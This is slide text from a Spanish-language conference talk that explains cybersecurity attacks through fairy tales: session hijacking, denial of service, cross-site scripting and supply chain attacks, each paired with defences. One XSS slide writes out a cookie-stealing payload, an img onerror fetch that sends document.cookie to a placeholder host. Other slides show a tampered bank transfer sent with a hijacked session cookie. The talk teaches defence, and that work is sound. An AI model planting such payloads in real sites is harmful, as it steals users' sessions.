Slide 1

Slide 1 text

¿Quién teme al hacker feroz? Nociones de ciberseguridad en clave de cuento OpenSouthCode 2026 Mar Bartolomé

Slide 2

Slide 2 text

Érase una vez… https://coconauts.net coconauts [email protected] Freelance web developer @ Coconauts Mar Bartolomé

Slide 3

Slide 3 text

El poder de los cuentos

Slide 4

Slide 4 text

Caperucita roja

Slide 5

Slide 5 text

Caperucita roja – Man in the Middle (MitM)

Slide 6

Slide 6 text

Caperucita roja – Man in the Middle + Session Hijacking

Slide 7

Slide 7 text

Caperucita roja – Man in the Middle + Session Hijacking

Slide 8

Slide 8 text

Caperucita roja – Man in the Middle + Session Hijacking

Slide 9

Slide 9 text

Caperucita roja – Man in the Middle + Session Hijacking POST /api/v1/transferencia HTTP/1.1 Host: mibanco.com Content-Type: application/x-www-form-urlencoded Cookie: session_id=9a8b7c6d5e4f3g2h1i0j cuenta_origen=ES123456789&cuenta_destino=ES999988887& cantidad=50&concepto=restaurante

Slide 10

Slide 10 text

Caperucita roja – Man in the Middle + Session Hijacking POST /api/v1/transferencia HTTP/1.1 Host: mibanco.com Content-Type: application/x-www-form-urlencoded Cookie: session_id=9a8b7c6d5e4f3g2h1i0j cuenta_origen=ES123456789&cuenta_destino=ES000011112 &cantidad=5000&concepto=pwned

Slide 11

Slide 11 text

Caperucita roja – Man in the Middle + Session Hijacking 4fa9c8e2b701f6a3d9e8c5b2a1f0e9d8c7b6a5f4e3d2c1b0a9f8e7f 2e1d0c9b8a7f6e5d4c3b2a1f0e9d8c7b6a5f4e3d2c1b0a9f8e7d6e 1d0c9b8a7f6e5d4c3b2a1f0e9d8c7b6a5f4e3d2c1b0a9f8e7d6c5 HTTPS

Slide 12

Slide 12 text

Caperucita roja – Man in the Middle + Session Hijacking 2FA / MFA

Slide 13

Slide 13 text

No content

Slide 14

Slide 14 text

Los 3 cerditos

Slide 15

Slide 15 text

Los 3 cerditos - Denial of Service (DoS)

Slide 16

Slide 16 text

Los 3 cerditos - Distributed Denial of Service (DDoS)

Slide 17

Slide 17 text

Los 3 cerditos - Denial of Service (DoS)

Slide 18

Slide 18 text

Los 3 cerditos - Denial of Service (DoS)

Slide 19

Slide 19 text

Los 3 cerditos - Denial of Service (DoS)

Slide 20

Slide 20 text

Los 3 cerditos - Denial of Service (DoS) Infraestructura HA

Slide 21

Slide 21 text

Los 3 cerditos - Denial of Service (DoS) Infraestructura HA Rate limiting

Slide 22

Slide 22 text

Los 3 cerditos - Denial of Service (DoS) Infraestructura HA Rate limiting CDN + scrubbing + WAF

Slide 23

Slide 23 text

No content

Slide 24

Slide 24 text

La bella durmiente

Slide 25

Slide 25 text

La bella durmiente - Cross Site Scripting (XSS)

Slide 26

Slide 26 text

La bella durmiente - Cross Site Scripting (XSS) Publicar

Slide 27

Slide 27 text

La bella durmiente - Cross Site Scripting (XSS) Publicar POST /publicaciones HTTP/1.1 Host: miapp.com Content-Type: application/x-www-form-urlencode d Cookie: session_id=9a8b7c6d5e4f3g2h1i0j contenido=Qué guay la charla de Mar en la OSC app.post("/publicaciones", (req, res) => { const publicacion = { autor: loggedInUser().id, contenido: req.body.contenido, fecha: new Date(), }; await db.save(publicacion); });

Slide 28

Slide 28 text

La bella durmiente - Cross Site Scripting (XSS) app.get("/", async (req, res) => { const publicaciones = await db.get.publicaciones( limit=10, order_by=”date” ); const items = publicaciones .map((pub) => `
  • ${pub.autor}
    Últimas publicaciones
      ${items}
    `); }); 🌐 https://miweb.com/
  • Slide 29

    Slide 29 text

    La bella durmiente - Cross Site Scripting (XSS)

    Slide 30

    Slide 30 text

    La bella durmiente - Cross Site Scripting (XSS)

    Slide 31

    Slide 31 text

    La bella durmiente - Cross Site Scripting (XSS) 🌐 https://miweb.com/ https://pwned.com/?sessionId=abc123def456

    Slide 32

    Slide 32 text

    La bella durmiente - Cross Site Scripting (XSS)
    ${pub.autor}
    Maléfica
    ${escape(pub.autor)}
    <img src=x onerror="fetch('https://pwned.com/?'+do cument.cookie)">
    https://pwned.com/ + ✨ Escapado del output ✨

    Slide 33

    Slide 33 text

    La bella durmiente - Cross Site Scripting (XSS) app.post("/publicaciones", (req, res) => { const safe_cont = sanitize(req.body.contenido) const publicacion = { autor: loggedInUser().id, contenido: safe_cont, fecha: new Date(), }; await db.save(publicacion); }); ✨ Sanitización del input ✨ ❌ ❌ onload=... ❌ onerror=... ❌ <iframe> Librerías: - nh3 (django) - sanitize-html / DOMPurify (js) - HTMLPurifier (laravel) ✅ <img> ✅ <href> ✅ <p> ✅ <table>

    Slide 34

    Slide 34 text

    La bella durmiente - Cross Site Scripting (XSS) Mi página web ![](http://miweb.com/foto.png) [Mi página web](http://miweb.com) ✨ Lenguajes de marcado ✨ [img]http://miweb.com/foto.png[/img] [url=http://miweb.com]Mi página web[/url] http://miweb.com/foto.png [http://miweb.com Mi página web] Markdown* BBCode Wikitext * markdown restringido sin html

    Slide 35

    Slide 35 text

    No content

    Slide 36

    Slide 36 text

    Blancanieves

    Slide 37

    Slide 37 text

    Blancanieves – Supply Chain Attack

    Slide 38

    Slide 38 text

    Blancanieves – Supply Chain Attack

    Slide 39

    Slide 39 text

    Blancanieves – Supply Chain Attack

    Slide 40

    Slide 40 text

    Blancanieves – Supply Chain Attack

    Slide 41

    Slide 41 text

    Blancanieves – Supply Chain Attack asgiref==3.10.0 Django==5.2.8 sqlparse==0.5.3 bqueen-markdown==1.0.2 requirements.txt

    Slide 42

    Slide 42 text

    Blancanieves – Supply Chain Attack

    Slide 43

    Slide 43 text

    Blancanieves – Supply Chain Attack ● Nivel de madurez ✅ conocido y con rodaje ⚠ novedoso y sexy ● Estado de salud ✅ actividad y comunidad ⚠ solo projects ⚠ sin pulso, abandonado ● No fiarse de internet (exclusivamente) ● DIY para cosas simples

    Slide 44

    Slide 44 text

    Blancanieves – Supply Chain Attack

    Slide 45

    Slide 45 text

    Blancanieves – Supply Chain Attack XZ Utils

    Slide 46

    Slide 46 text

    Blancanieves – Supply Chain Attack XZ Utils

    Slide 47

    Slide 47 text

    Blancanieves – Supply Chain Attack XZ Utils

    Slide 48

    Slide 48 text

    Blancanieves – Supply Chain Attack XZ Utils

    Slide 49

    Slide 49 text

    Blancanieves – Supply Chain Attack XZ Utils

    Slide 50

    Slide 50 text

    Blancanieves – Supply Chain Attack XZ Utils

    Slide 51

    Slide 51 text

    Blancanieves – Supply Chain Attack - versiones fijas, lockfiles - hashes criptográficos - herramientas SCA (escaneo contra CVEs) - periodos de cooldown - contenedores pip, uv, npm, cargo, bundle…

    Slide 52

    Slide 52 text

    Colorín colorado https://coconauts.net/blog coconauts [email protected]